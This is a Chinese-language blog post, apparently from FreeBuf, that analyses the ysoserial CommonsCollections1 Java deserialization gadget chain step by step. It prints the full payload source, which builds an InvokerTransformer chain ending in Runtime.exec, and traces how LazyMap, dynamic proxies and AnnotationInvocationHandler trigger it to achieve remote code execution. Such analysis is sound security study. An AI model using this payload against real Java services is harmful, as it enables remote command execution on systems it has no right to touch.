VegetaY
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

CommonsCollections1
CommonsCollections1源码
package ysoserial.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",new Class[] { String.class }, execArgs),new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
2.1、Transformer
直接看getObject()
,从new了一个HashMap()之后就调用了该对象的decorate()
方法,随后就进入ysoserial.Gadgets。也就是说我们的恶意对象在new HashMap之前就已经准备好了,所以直接看前面的代码。这些代码主要做了下面这些事:
第一步、new了一个ChainedTransformer的对象transformerChain
这是调用transformerChain
的地方,可以看到它传入了一个Transformer类型的数组,这个数组只有一个值new ConstantTransformer(1)
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) }
);
跟进new ConstantTransformer(1)
,将传入的constantToReturn赋值给属性iConstant之后就没做别的事,所以Transformer[]数组的唯一一个成员是ConstantTransformer类的一个对象。
image-20230609104724041
接着看new ChainedTransformer
,ChainedTransformer的构造方法也制作了一件事,把传入的Transformer数组复制给自己的属性iTransformers
image-20230609104923823
第二部、创建了一个Transformer类型的数组transformers
transformers数组有以下几个成员
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",new Class[] { String.class }, execArgs),
new ConstantTransformer(1)
先看new ConstantTransformer(Runtime.class)
,transformers[1]是一个iConstant属性为java.lang.Runtime
类的对象
image-20230609105522897
再看三个连续的new InvokerTransformer
,唯一的差别就是传入的参数不同。InvokerTransformer接收三个参数,看名字猜第一个是最后会调用的方法名字,第二个是一个数组存放被调用方法需要传入的参数的类型,第三个也是数组用来保存传入被调用方法的参数,并且分别复制给自己的三个属性
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;}
最后一个和第一步一样。到这一步看似已经知道payload的了但是装载好payload之后从哪里调用还不清楚。
2.2、LazyMap
恶意对象配置完了之后就进入了new HashMap()
随后调用了decorate()
。hashmap是java自带的作用就是生成一个类似python字典一样的对象。重点看decorate()
,两个decorate方法都是return了一个LazyMap对象。
image-20230609111451110
继续跟进LazyMap类中。LazyMap的构造方法平平无奇,但是在LazyMap的get方法中调用了了熟悉的transform()
image-20230609111753916
回头看new LazyMap(map, factory)
,map和factory都是decorate(Map map, Transformer factory)
传进来的。回到调用decorate的地方,传入的factory正好是之前new的transformerChain,就是说在LazyMap的get调用的transform
就是transformerChain的方法。
image-20230609112256689
看到transformerChain的transform
,这个方法遍历了自己的iTransformers属性并且调用了iTransformers成员的transform方法
image-20230609112618599
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);}
return object; }
transform方法来源于接口Transformer,Transformer被很多类实现。其中就包括前面第二步里面的ConstantTransformer、InvokerTransformer
image-20230609112919507
分别去看ConstantTransformer、InvokerTransformer
重写的transform方法
ConstantTransformer.transform
image-20230609113314164
InvokerTransformer.transform
在InvokerTransformer.transform发现了危险函数的调用。选中部分代码利用到了java反射的知识。
image-20230609113334284
java类、反射
java是面向对象的语言,java中一切都可以看成对象。比如"aaaa"
就是String的对象,换个说法可以认为"aaaa"
是String类型。每个对象都被分类好有自己的类型。同时,”类“的本身也属于一种类型,在java中就是class 类,就是类的类型。因为一切都是类的对象就意味着一切都是class类型的。类在运行的时候jvm会自己new一个class类用来保存所运行的类的一些方法和属性。
class本身也是java写好的一个class文件,里面定义了一些常见的共有的方法。
image-20230609114629649
java的反射就是可以通过class获取类的名称、修饰符、父类、接口、构造方法、字段和方法等信息。
我们可以使用下面这些方法获得对应的class对象
/*类名.class;
对象.getClass();
Class.forName("类名");*/
Class a = String.class;
Class b = new String().getClass();
Class c = Class.forName("java.lang.String");
class类中存在一个getMethod方法,它返回一个Method类型的对象。我们可以利用这个方法获得某一个类中的成员方法。
image-20230609115609108
String bb = "1111";
Class cls_bb = bb.getClass();
Method mth_str = cls_bb.getMethod("toString");
System.out.println(mth_str);
image-20230609120100263
获取到Method对象之后就可以使用Method类的方法invoke来调用获得的方法了
invoke.invoke()
@CallerSensitive
public Object invoke(Object obj, Object... args)
throws IllegalAccessException, IllegalArgumentException,
InvocationTargetException{
if (!override) {
if (!Reflection.quickCheckMemberAccess(clazz, modifiers)) {
Class<?> caller = Reflection.getCallerClass();
checkAccess(caller, clazz, obj, modifiers); } }
MethodAccessor ma = methodAccessor; // read volatile
if (ma == null) {
ma = acquireMethodAccessor();}
return ma.invoke(obj, args); }
2.3、AnnotationInvocationHandler
回到对CommonsCollections1源码的分析,在InvokerTransformer.transform中存在以下代码:
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
经过java类、反射的了解再看这段代码就一目了然了。回到CommonsCollections1源码
重点在下面这句Reflections.setFieldValue(transformerChain, "iTransformers", transformers);Reflections时ysoserial的工具类,setFieldValue可以设置某个类的属性值,这一行代码的效果就是将transformerChain的iTransformers属性设置成第二步创建的数组。
image-20230609135126392
image-20230609142400933
现在最后的问题就是,谁来调用LazyMap的get()方法?
AnnotationInvocationHandler
AnnotationInvocationHandler
是一个 Java 内置的动态代理类。
image-20230609154611424
AnnotationInvocationHandler在继承Serializable的同时还有一个Map类型的memberValues属性可以调用get()方法,而且在其构造函数中可以根据传入的参数控制。memberValues属性的值。
AnnotationInvocationHandler重写了readObject方法但是在readObject中并没有调用memberValues.get(),但是在invoke方法中存在调用。
image-20230609154902488
现在的问题回到如何调用AnnotationInvocationHandler #invoke,刚刚好AnnotationInvocationHandler 实现了接口InvocationHandler,可以利用动态代理的方法。
java动态代理
Java的动态代理是一种在运行时创建代理对象的机制,它允许在不改变原始类代码的情况下增强其功能。代理对象是一个实现了一个或多个接口的类,它可以通过调用代理方法来操作原始对象。这些代理方法在被调用时会执行与原始方法相同的逻辑,并且可能会在执行前后执行其他额外的逻辑。
动态代理对象有一个很特殊的能力:调用被代理类的方法时会首先调用动态代理对象的的invoke方法。
代码举例:再调用proxyMap的get和put方法时都运行System.out.println("This is the proxy's invoke !");
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class MyProxy implements InvocationHandler {
protected Map map;
public MyProxy(Map map){this.map = map;}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("This is the proxy's invoke !");
return method.invoke(this.map, args);}}
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args){
InvocationHandler hashmap1 = new MyProxy(new HashMap());
Map p=(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},hashmap1);
p.put("VegetaY","牛13");
String re=(String)p.get("hi");
System.out.println(re);}}
image-20230609171139736
Proxy#newProxyInstance()
用于创建一个动态代理对象。需要三个参数:ClassLoader,interfaces,重写invoke方法的InvocationHandler实现类
image-20230609170012383
总结
继续回到CommonsCollections1的源码,在执行Reflections.setFieldValue(transformerChain, "iTransformers", transformers);之前还有2行代码:
Map mapProxy = (Map)Gadgets.createMemoitizedProxy(lazyMap, Map.class, new Class[0]);
InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
createMemoitizedProxy
image-20230609160202729
先进入createMemoizedInvocationHandler,调用了Reflections.getFirstCtor
通过Class.forName(name)
返回sun.reflect.annotation.AnnotationInvocationHandler类的Class对象。同时还执行getDeclaredConstructors
获取AnnotationInvocationHandler的所有构造函数并去第一个结果。然后执行setAccessible
取消对私有成员的限制,允许在运行时访问和修改Java对象的私有字段、方法和构造函数。
image-20230609160339255
从getFirstCtor
出来之后调用了newInstance
实例化一个AnnotationInvocationHandler对象
image-20230609171655141
因为AnnotationInvocationHandler的构造方法中有一行代码:this.memberValues = var2;
,这个var2就是lazyMap
最后将返回值转换成InvocationHandler类型
接着进入createProxy
再进入Proxy.newProxyInstance
image-20230609161150030
最后一路return,到此动态代理创建完成。
接着进入InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
这时候传进去的时创建好的mapProxy,最后返回的handle已经是一个AnnotationInvocationHandler类型的数据
image-20230609172513511
下一步就是CommonsCollections1的序列化和反序列化操作了。
image-20230609172842101
这时可以解密最关键的一步,怎么让invoke运行?
再2.3分析AnnotationInvocationHandler 的时候说过,它重写了readObject方法。虽然里面没有直接调用get方法,但是里面有调用memberValues的其他方法。由于代理对象的缘故,Iterator var4 = this.memberValues.entrySet().iterator();执行这一步时会进入invoke()调用get方法
image-20230609173046944
成功rce
image-20230609173316224
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)